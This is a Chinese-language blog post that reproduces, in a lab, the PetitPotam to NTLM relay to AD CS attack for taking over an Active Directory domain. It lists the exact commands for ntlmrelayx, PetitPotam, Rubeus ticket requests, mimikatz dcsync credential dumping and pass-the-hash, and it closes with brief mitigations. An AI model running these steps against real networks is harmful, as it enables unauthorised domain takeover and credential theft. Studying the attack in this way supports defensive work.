使用PetitPotam到NTLM中继到域管理员
简介
最近披露的几个漏洞,分别是:
- MS-EFSRPC – 又名 PetitPotam
- 滥用 AD CS 角色的凭证中继
任何具有内部网络访问权限的攻击者(例如网络中的网络钓鱼客户端或恶意植入设备)都可以在没有任何初始凭据的情况下接管整个 Active Directory 域。当前在默认配置中,域控制器和 AD CS 容易受到这种攻击。
当 PetitPotam 被利用并将 NTLM 凭据中继到 Active Directory 证书服务时,攻击者无需事先对域进行任何身份验证即可获得域管理员权限。本文将详细介绍漏洞利用所需的步骤,然后介绍 PetitPotam 的缓解措施。
攻击者可以使用 PetitPotam 触发域控制器以将 NTLM 凭据中继到所选主机。然后可以将域控制器的 NTLM 凭据中继到 Active Directory 证书服务 (AD CS) Web 注册页面,并且可以注册 DC 证书。然后可以使用此证书来请求 TGT(票证授予票证)并通过 Pass-The-Ticket 破坏整个域。
AD CS(Active Directory 证书服务)特别有趣,因为它提供默认接受基于 NTLM 的身份验证的角色服务。这些服务具体包括证书颁发机构 Web 注册和证书注册 Web 服务。
准备环境
这几天踩的坑点:不能在DC安装AD证书服务进行测试,必须分开安装,具体情况是反射自身出问题还是什么不知道
DC: Windows Server 2019 IP:192.168.93.246
AD CS(证书服务器):Windows Server 2008 IP:192.168.93.141
Attack Kali IP:192.168.93.133
准备的工具:
- Rubeus 1.6.4
- mimikatz
- impacket分支(ntlmrelayx-adcs-attack)
利用条件
- 证书注册 Web 界面,通过安装证书颁发机构 Web 注册角色。作为在http://
/certsrv/ 上运行的 IIS 托管的 ASP Web 注册应用程序公开 - 证书注册服务 (CES),通过安装证书注册 Web 服务角色。通过安装证书注册策略 Web 服务角色,与证书注册策略 (CEP) Web 服务协同工作。白皮书中的详细信息。
- 网络设备注册服务 (NDES),通过安装网络设备注册服务 角色。作为白皮书中描述的一系列接口公开。
- 注册 HTTP 端点没有启用 HTTPS/没有启用任何 NTLM 中继保护(默认允许NTLM)
- GPO 禁用 NTLM 身份验证或将关联的 IIS 应用程序配置为仅接受 Kerberos 身份验证
攻击流程
- 使用 PetitPotam 触发从域控制器到侦听器的 NTLM 身份验证(运行响应程序或 ntlmrelayx)
- 使用 ntlmrelayx 使用“KerberosAuthentication”或“DomainControllers”AD CS 模板将 DC 的凭据中继到启用了 Web 注册(必须启用 NTLM 身份验证并默认启用)的 AD CS(Active Directory 证书服务)服务器。
- 获取通过NTLM中继获取的Base64 PKCS12证书
- 使用Base64 PKCS12 cert导入Kekeo请求TGT(Ticket Granting Ticket)
- 使用 mimikatz 为选择的用户(管理员、Krbtgt 等)转储 LSA 机密
- 记下域管理员用户的 NT 哈希值
- 使用 wmiexec 以该用户身份获得对域控制器的执行并执行 NT 哈希的哈希传递
前三步流程图
复现过程
下载新版impacket切换到ntlmrelayx-adcs-attack分支
git clone https://github.com/ExAndroidDev/impacket.git # Clone the custom ntlmrelayx repo
cd impacket
git checkout ntlmrelayx-adcs-attack # checkout to the right branch - this caught me out
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
开启监听
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.93.246/certsrv/certfnsh.asp --adcs --template DomainController
注:这里模板必须要用DomainController,否则出现以下问题
证书机器执行
PetitPotam.exe <Attack_IP> <DC_IP>
利用Rubeus获取TGT导入到当前进程
Rubeus.exe asktgt /outfile:kirbi /user:WIN-0ASLVBO5ID9$ /ptt /certificate:<Base64> #这里的/user为/user:<DC的机器名>$
利用mimikatz导出域管哈希
lsadump::dcsync /user:Administrator
wmicexec.py连接即可
或者也可以dump krbtgt的hash生成金票
防御措施
IIS关闭NTLM验证
只允许kerberos验证
GPO关闭NTLM身份验证
参考链接
https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/
https://www.youtube.com/watch?v=K0N90sI_GhI
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:使用PetitPotam到NTLM中继到域管理员
本文作者:九世
发布时间:2021-08-07, 19:57:32
最后更新:2021-08-07, 20:47:46
原始链接:http://jiushill.github.io/posts/d55c75ac.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。